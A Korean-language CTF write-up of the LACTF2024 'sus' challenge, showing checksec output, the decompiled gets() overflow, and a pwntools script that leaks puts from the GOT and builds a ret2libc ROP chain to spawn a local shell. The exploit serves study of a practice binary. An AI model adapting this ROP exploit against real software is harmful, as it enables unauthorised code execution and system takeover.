콘텐츠로 건너뛰기

[LACTF2024] sus

checksec

[*] '/home/seo/study/LACTF2024/sus/sus'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Decompile src / Analysis

v4 변수에 gets 함수로 입력받는데, 버퍼 제한이 없어 BOF 취약점 발생.

rdi는 gets 호출 이후 RBP-8에 의해 값을 컨트롤될 수 있음.

.text:000000000040118B                 call    _gets
.text:0000000000401190                 mov     rax, [rbp-8]
.text:0000000000401194                 mov     rdi, rax
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[56]; // [rsp+0h] [rbp-40h] BYREF
  __int64 v5; // [rsp+38h] [rbp-8h]

  setbuf(_bss_start, 0);
  v5 = 69;
  puts("sus?");
  gets((__int64)v4);
  sus(v5);
  return 0;
}

solve.py

RDI 레지스터값을 puts’s got으로 지정시켜 libc 주소에 있는 puts 주소를 LEAK함.
이후, main을 한번 더 호출시켜 ROP를 통해 쉘 획득.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')

warnings.filterwarnings('ignore')

p = process("./sus")

sla = p.sendlineafter
sa = p.sendafter

puts_got = 0x404000
puts_plt = 0x401030
main = 0x401151

payload = b"X" * 0x38
payload += p64(puts_got)   #set rdi
payload += b"B"*8   #set rbp
payload += p64(puts_plt)    #set ret
payload += p64(main)

sla(b"sus?\n", payload)

libc_puts = p.recv(6).ljust(0x8, b"\x00")
libc_puts = u64(libc_puts)
success(f"libc_puts: {hex(libc_puts)}")
libc_base = libc_puts - 0x80e50
success(f"libc_base: {hex(libc_base)}")


pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_pop_r11_ret = libc_base + 0x000000000011f2e7
execve = libc_base + 0x00000000000eb080
bin_sh = libc_base + 0x1d8678

payload = b"X" * 0x40   
payload += b"Y" * 8     #set rbp 
payload += p64(pop_rdi_ret)      #set ret
payload += p64(bin_sh)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_pop_r11_ret)
payload += p64(0)
payload += p64(0)
payload += p64(execve)

sla(b"sus?\n", payload)

p.interactive()

Result

seo@seo:~/study/LACTF2024/sus$ python3 solve.py
[+] Starting local process './sus': pid 3306
[+] libc_puts: 0x7ffff7c80e50
[+] libc_base: 0x7ffff7c00000
[*] Switching to interactive mode
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
seo
$ ls
prob  solve.py  sus  sus.id0  sus.id1  sus.id2  sus.nam  sus.til
$
태그: